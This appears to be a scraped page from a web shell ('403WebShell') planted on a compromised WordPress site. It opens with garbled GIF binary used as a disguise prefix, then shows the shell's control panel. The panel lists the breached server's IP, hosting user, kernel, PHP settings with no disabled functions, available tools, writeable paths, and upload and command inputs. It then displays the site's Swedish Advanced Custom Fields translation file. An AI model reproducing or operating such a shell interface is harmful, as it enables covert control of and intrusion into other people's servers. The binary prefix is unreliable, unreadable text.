GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-sv_SE.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro v5.2.9\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-11-15 09:31+0000\n"
"PO-Revision-Date: 2016-11-15 09:46+0000\n"
"Last-Translator: SBK <info@tigerton.se>\n"
"Language-Team: Swedish\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: sv-SE\n"
"Plural-Forms: nplurals=2; plural=n != 1\n"
"X-Generator: Loco - https://localise.biz/\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js"

#: acf.php:361 admin/field-group.php:395 admin/field-groups.php:567
msgid "Inactive"
msgstr "Inaktiv"

#: acf.php:366
#, php-format
msgid "Inactive <span class=\"count\">(%s)</span>"
msgid_plural "Inactive <span class=\"count\">(%s)</span>"
msgstr[0] "Inaktiv <span class=\"count\">(%s)</span>"
msgstr[1] "Inaktiva <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:614
msgid "Documentation"
msgstr "Dokumentation"

#: admin/field-groups.php:621
msgid "Features"
msgstr "Funktioner"

#: admin/field-groups.php:622
msgid "How to"
msgstr "Instruktioner"

#: admin/field-groups.php:625
msgid "Support"
msgstr "Support"

#: admin/field-groups.php:629
#, php-format
msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
msgstr "Tack för att du skapar med <a href=\"%s\">ACF</a>."

#: admin/install-updates.php:354
msgid "Term meta upgrade not possible (termmeta table does not exist)"
msgstr "Term meta uppgradering ej möjligt (termmeta tabellen existerar inte)"

#: admin/views/install-network.php:4
msgid "Upgrade Sites"
msgstr "Uppgradera sajter"

#: admin/views/install.php:16
#, php-format
msgid "Database Upgrade complete. <a href=\"%s\">See what's new</a>"
msgstr "Databasuppgraderingen färdig. <a href=\"%s\">Se vad som är nytt</a>"

#: fields/checkbox.php:202
msgid "Add new choice"
msgstr "Skapa nytt val"

#: fields/checkbox.php:250
msgid "Allow Custom"
msgstr "Tillåt annat val"

#: fields/checkbox.php:255
msgid "Allow 'custom' values to be added"
msgstr "Tillåter 'annat val' att väljas"

#: fields/checkbox.php:261
msgid "Save Custom"
msgstr "Spara annat val"

#: fields/checkbox.php:266
msgid "Save 'custom' values to the field's choices"
msgstr "Spara 'annat val' värdet till fältets val"

#: fields/date_picker.php:231
msgid "Save Format"
msgstr "Spara i format"

#: fields/date_picker.php:232
msgid "The format used when saving a value"
msgstr "Formatet som används när ett värde sparas"

#: fields/true_false.php:142
msgid "Displays text alongside the checkbox"
msgstr "Visa text bredvid kryssrutan"

#: fields/true_false.php:170
msgid "On Text"
msgstr "På text"

#: fields/true_false.php:171
msgid "Text shown when active"
msgstr "Text som visas när valet är aktivt"

#: fields/true_false.php:180
msgid "Off Text"
msgstr "Av text"

#: fields/true_false.php:181
msgid "Text shown when inactive"
msgstr "Text som visas när valet är inaktivt"

#: fields/wysiwyg.php:401
msgid "Click to initialize TinyMCE"
msgstr "Klicka för att initialisera tinyMCE"

#: fields/wysiwyg.php:488
msgid "Delay initialization?"
msgstr "Fördröj initialisering?"

#: fields/wysiwyg.php:489
msgid "TinyMCE will not be initalized until field is clicked"
msgstr "TinyMCE initialiseras inte förrän fältet klickas på"

#: pro/api/api-pro.php:330
msgid ""
"Error validating ACF PRO license URL (website does not match). Please re-"
"activate your license"
msgstr ""
"Fel vid validering av ACF PRO licens URL (Sajten överensstämmer inte). "
"Vänligen aktivera din licens på nytt"

#: acf.php:60
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

#: acf.php:281 admin/admin.php:117
msgid "Field Groups"
msgstr "Fältgrupper"

#: acf.php:282
msgid "Field Group"
msgstr "Fältgrupp"

#: acf.php:283 acf.php:315 admin/admin.php:118 
#: pro/fields/flexible-content.php:576
msgid "Add New"
msgstr "Lägg till ny"

#: acf.php:284
msgid "Add New Field Group"
msgstr "Lägg till ny fältgrupp"

#: acf.php:285
msgid "Edit Field Group"
msgstr "Redigera fältgrupp"

#: acf.php:286
msgid "New Field Group"
msgstr "Skapa fältgrupp"

#: acf.php:287
msgid "View Field Group"
msgstr "Visa fältgrupp"

#: acf.php:288
msgid "Search Field Groups"
msgstr "Sök fältgrupp"

#: acf.php:289
msgid "No Field Groups found"
msgstr "Inga fältgrupper hittades"

#: acf.php:290
msgid "No Field Groups found in Trash"
msgstr "Inga fältgrupper hittades i papperskorgen"

#: acf.php:313 admin/field-group.php:182 admin/field-group.php:280 
#: admin/field-groups.php:510 pro/fields/clone.php:819
msgid "Fields"
msgstr "Fält"

#: acf.php:314
msgid "Field"
msgstr "Fält"

#: acf.php:316
msgid "Add New Field"
msgstr "Skapa nytt fält"

#: acf.php:317
msgid "Edit Field"
msgstr "Redigera fält"

#: acf.php:318 admin/views/field-group-fields.php:53 
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Nytt fält"

#: acf.php:319
msgid "View Field"
msgstr "Visa fält"

#: acf.php:320
msgid "Search Fields"
msgstr "Sök fält"

#: acf.php:321
msgid "No Fields found"
msgstr "Inga fält hittades"

#: acf.php:322
msgid "No Fields found in Trash"
msgstr "Inga fält hittades i papperskorgen"

#: admin/admin.php:113 admin/views/field-group-options.php:114
msgid "Custom Fields"
msgstr "Egna fält"

#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Fältgrupper uppdaterades."

#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Fältgrupper raderades."

#: admin/field-group.php:73
msgid "Field group published."
msgstr "Fältgrupper publicerades."

#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Fältgrupper sparades."

#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Fältgruppen skickades."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Fältgruppen schemalades för."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Utkastet till fältgrupp uppdaterades."

#: admin/field-group.php:183
msgid "Location"
msgstr "Plats"

#: admin/field-group.php:184
msgid "Settings"
msgstr "Inställningar"

#: admin/field-group.php:274
msgid "Move to trash. Are you sure?"
msgstr "Flytta till papperskorgen. Är du säker?"

#: admin/field-group.php:275
msgid "checked"
msgstr "vald"

#: admin/field-group.php:276
msgid "No toggle fields available"
msgstr "Det finns inga aktiveringsbara fält"

#: admin/field-group.php:277
msgid "Field group title is required"
msgstr "Fältgruppen behöver en titel"

#: admin/field-group.php:278 api/api-field-group.php:651
msgid "copy"
msgstr "kopiera"

#: admin/field-group.php:279 
#: admin/views/field-group-field-conditional-logic.php:55 
#: admin/views/field-group-field-conditional-logic.php:155 
#: admin/views/field-group-locations.php:59 
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3863
msgid "or"
msgstr "eller"

#: admin/field-group.php:281
msgid "Parent fields"
msgstr "Föräldrafält"

#: admin/field-group.php:282
msgid "Sibling fields"
msgstr "Syskonfält"

#: admin/field-group.php:283
msgid "Move Custom Field"
msgstr "Flytta egna fält"

#: admin/field-group.php:284
msgid "This field cannot be moved until its changes have been saved"
msgstr "Detta fält kan inte flyttas förrän ändringarna har sparats"

#: admin/field-group.php:285
msgid "Null"
msgstr "Nollvärde"

#: admin/field-group.php:286 core/input.php:257
msgid "The changes you made will be lost if you navigate away from this page"
msgstr ""
"De ändringar som du gjort kommer att förloras om du navigerar bort från "
"denna sida"

#: admin/field-group.php:287
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr "Strängen  \"field_\" får inte användas i början av ett fältnamn"

#: admin/field-group.php:365
msgid "Field Keys"
msgstr "Fältnycklar"

#: admin/field-group.php:395 admin/views/field-group-options.php:5
msgid "Active"
msgstr "Aktiv"

#: admin/field-group.php:846
msgid "Front Page"
msgstr "Förstasida"

#: admin/field-group.php:847
msgid "Posts Page"
msgstr "Inläggslistningssida"

#: admin/field-group.php:848
msgid "Top Level Page (no parent)"
msgstr "Toppsida (Ingen förälder)"

#: admin/field-group.php:849
msgid "Parent Page (has children)"
msgstr "Föräldersida (har undersidor)"

#: admin/field-group.php:850
msgid "Child Page (has parent)"
msgstr "Undersida (har föräldersida)"

#: admin/field-group.php:866
msgid "Default Template"
msgstr "Standardmall"

#: admin/field-group.php:889
msgid "Logged in"
msgstr "Inloggad"

#: admin/field-group.php:890
msgid "Viewing front end"
msgstr "Visar framsida"

#: admin/field-group.php:891
msgid "Viewing back end"
msgstr "Visar baksida"

#: admin/field-group.php:910
msgid "Super Admin"
msgstr "Superadministratör"

#: admin/field-group.php:921 admin/field-group.php:929 
#: admin/field-group.php:943 admin/field-group.php:950 
#: admin/field-group.php:967 admin/field-group.php:984 fields/file.php:243 
#: fields/image.php:239 pro/fields/gallery.php:676
msgid "All"
msgstr "Alla"

#: admin/field-group.php:930
msgid "Add / Edit"
msgstr "Skapa / Redigera"

#: admin/field-group.php:931
msgid "Register"
msgstr "Registrera"

#: admin/field-group.php:1168
msgid "Move Complete."
msgstr "Flytt färdig."

#: admin/field-group.php:1169
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "Fältet %s kan nu hittas i fältgruppen %s"

#: admin/field-group.php:1171
msgid "Close Window"
msgstr "Stäng fönster"

#: admin/field-group.php:1213
msgid "Please select the destination for this field"
msgstr "Välj målet (destinationen) för detta fält"

#: admin/field-group.php:1220
msgid "Move Field"
msgstr "Flytta fält"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Aktiv <span class=\"count\">(%s)</span>"
msgstr[1] "Aktiva <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Fältgruppen kopierad. %s"

#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s fältgrupp kopierad."
msgstr[1] "%s fältgrupper kopierade."

#: admin/field-groups.php:227
#, php-format
msgid "Field group synchronised. %s"
msgstr "Fältgrupp synkroniserad. %s"

#: admin/field-groups.php:231
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s fältgrupp synkroniserad."
msgstr[1] "%s fältgrupper synkroniserade."

#: admin/field-groups.php:394 admin/field-groups.php:557
msgid "Sync available"
msgstr "Synkronisering tillgänglig"

#: admin/field-groups.php:507 api/api-template.php:1018 
#: pro/fields/gallery.php:370
msgid "Title"
msgstr "Titel"

#: admin/field-groups.php:508 admin/views/field-group-options.php:92 
#: admin/views/install-network.php:25 admin/views/install-network.php:33 
#: pro/fields/gallery.php:397
msgid "Description"
msgstr "Beskrivning"

#: admin/field-groups.php:509
msgid "Status"
msgstr "Status"

#: admin/field-groups.php:609 admin/settings-info.php:76 
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Versionshistorik"

#: admin/field-groups.php:610
#, php-format
msgid "See what's new in <a href=\"%s\">version %s</a>."
msgstr "Se vad som är nytt i <a href=\"\"%s\">version %s</a>."

#: admin/field-groups.php:612
msgid "Resources"
msgstr "Resurser"

#: admin/field-groups.php:616
msgid "Getting Started"
msgstr "Kom igång"

#: admin/field-groups.php:617
msgid "Field Types"
msgstr "Fälttyper"

#: admin/field-groups.php:618
msgid "Functions"
msgstr "Funktioner"

#: admin/field-groups.php:619
msgid "Actions"
msgstr "Actions"

#: admin/field-groups.php:620 fields/relationship.php:737
msgid "Filters"
msgstr "Filter"

#: admin/field-groups.php:623
msgid "Tutorials"
msgstr "Handledningar"

#: admin/field-groups.php:624
msgid "FAQ"
msgstr "Frågor & Svar"

#: admin/field-groups.php:671
msgid "Duplicate this item"
msgstr "Duplicera detta objekt"

#: admin/field-groups.php:671 admin/field-groups.php:687 
#: admin/views/field-group-field.php:59 pro/fields/flexible-content.php:575
msgid "Duplicate"
msgstr "Duplicera"

#: admin/field-groups.php:704 fields/google-map.php:132 
#: fields/relationship.php:742
msgid "Search"
msgstr "Sök"

#: admin/field-groups.php:754
#, php-format
msgid "Select %s"
msgstr "Välj %s"

#: admin/field-groups.php:762
msgid "Synchronise field group"
msgstr "Synkronisera fältgrupp"

#: admin/field-groups.php:762 admin/field-groups.php:779
msgid "Sync"
msgstr "Synkronisera"

#: admin/install-network.php:88 admin/install.php:70 admin/install.php:121
msgid "Upgrade Database"
msgstr "Uppgradera databas"

#: admin/install-network.php:140
msgid "Review sites & upgrade"
msgstr "Kontrollera webbplatser & uppgradera"

#: admin/install.php:186
msgid "Error validating request"
msgstr "Fel vid validering av begäran"

#: admin/install.php:209 admin/views/install.php:110
msgid "No updates available."
msgstr "Inga uppdateringar tillgängliga."

#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Tillägg"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Fel</b>. Kunde inte ladda tilläggslistan"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Information"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "Vad är nytt"

#: admin/settings-tools.php:50 admin/views/settings-tools-export.php:23 
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Verktyg"

#: admin/settings-tools.php:147 admin/settings-tools.php:380
msgid "No field groups selected"
msgstr "Inga fältgrupper valda"

#: admin/settings-tools.php:184 fields/file.php:177
msgid "No file selected"
msgstr "Ingen fil vald"

#: admin/settings-tools.php:197
msgid "Error uploading file. Please try again"
msgstr "Fel vid uppladdning av fil. Vänligen försök igen"

#: admin/settings-tools.php:206
msgid "Incorrect file type"
msgstr "Felaktig filtyp"

#: admin/settings-tools.php:223
msgid "Import file empty"
msgstr "Importfilen är tom"

#: admin/settings-tools.php:331
#, php-format
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "Importerade 1 fältgrupp"
msgstr[1] ""

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Visningsvillkor"

#: admin/views/field-group-field-conditional-logic.php:55
msgid "Show this field if"
msgstr "Visa detta fält när"

#: admin/views/field-group-field-conditional-logic.php:104 
#: admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "är"

#: admin/views/field-group-field-conditional-logic.php:105 
#: admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "inte är"

#: admin/views/field-group-field-conditional-logic.php:142 
#: admin/views/field-group-locations.php:122
msgid "and"
msgstr "och"

#: admin/views/field-group-field-conditional-logic.php:157 
#: admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Lägg till regelgrupp"

#: admin/views/field-group-field.php:50 pro/fields/flexible-content.php:422 
#: pro/fields/repeater.php:349
msgid "Drag to reorder"
msgstr "Dra och släpp för att ändra ordning"

#: admin/views/field-group-field.php:55 admin/views/field-group-field.php:58
msgid "Edit field"
msgstr "Redigera fält"

#: admin/views/field-group-field.php:58 fields/image.php:142 
#: pro/fields/gallery.php:357
msgid "Edit"
msgstr "Redigera"

#: admin/views/field-group-field.php:59
msgid "Duplicate field"
msgstr "Duplicera fält"

#: admin/views/field-group-field.php:60
msgid "Move field to another group"
msgstr "Flytta fält till en annan grupp"

#: admin/views/field-group-field.php:60
msgid "Move"
msgstr "Flytta"

#: admin/views/field-group-field.php:61
msgid "Delete field"
msgstr "Radera fält"

#: admin/views/field-group-field.php:61 pro/fields/flexible-content.php:574
msgid "Delete"
msgstr "Radera"

#: admin/views/field-group-field.php:69
msgid "Error"
msgstr "Fel"

#: admin/views/field-group-field.php:69
msgid "Field type does not exist"
msgstr "Fälttyp existerar inte"

#: admin/views/field-group-field.php:82
msgid "Field Label"
msgstr "Fälttitel"

#: admin/views/field-group-field.php:83
msgid "This is the name which will appear on the EDIT page"
msgstr "Detta namn kommer att visas vid redigering"

#: admin/views/field-group-field.php:95
msgid "Field Name"
msgstr "Fältnamn"

#: admin/views/field-group-field.php:96
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr "Ett enda ord, utan mellanslag. Understreck och bindestreck är tillåtna"

#: admin/views/field-group-field.php:108
msgid "Field Type"
msgstr "Fälttyp"

#: admin/views/field-group-field.php:122 fields/tab.php:103
msgid "Instructions"
msgstr "Instruktioner"

#: admin/views/field-group-field.php:123
msgid "Instructions for authors. Shown when submitting data"
msgstr "Instruktioner för den som redigerar"

#: admin/views/field-group-field.php:134
msgid "Required?"
msgstr "Obligatorisk?"

#: admin/views/field-group-field.php:159
msgid "Wrapper Attributes"
msgstr "Attribut för det omslutande elementet (wrappern)"

#: admin/views/field-group-field.php:165
msgid "width"
msgstr "bredd"

#: admin/views/field-group-field.php:179
msgid "class"
msgstr "class"

#: admin/views/field-group-field.php:192
msgid "id"
msgstr "id"

#: admin/views/field-group-field.php:204
msgid "Close Field"
msgstr "Stäng fält"

#: admin/views/field-group-fields.php:17
msgid "Order"
msgstr "Ordning"

#: admin/views/field-group-fields.php:18 fields/checkbox.php:312 
#: fields/radio.php:313 fields/select.php:528 
#: pro/fields/flexible-content.php:601
msgid "Label"
msgstr "Titel"

#: admin/views/field-group-fields.php:19 fields/taxonomy.php:966 
#: pro/fields/flexible-content.php:614
msgid "Name"
msgstr "Namn"

#: admin/views/field-group-fields.php:20
msgid "Type"
msgstr "Typ"

#: admin/views/field-group-fields.php:26
msgid ""
"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"Inga fält. Klicka på knappen <strong>+ Lägg till fält</strong> för att skapa "
"ditt första fält."

#: admin/views/field-group-fields.php:43
msgid "+ Add Field"
msgstr "+ Lägg till fält"

#: admin/views/field-group-locations.php:5 
#: admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Inlägg"

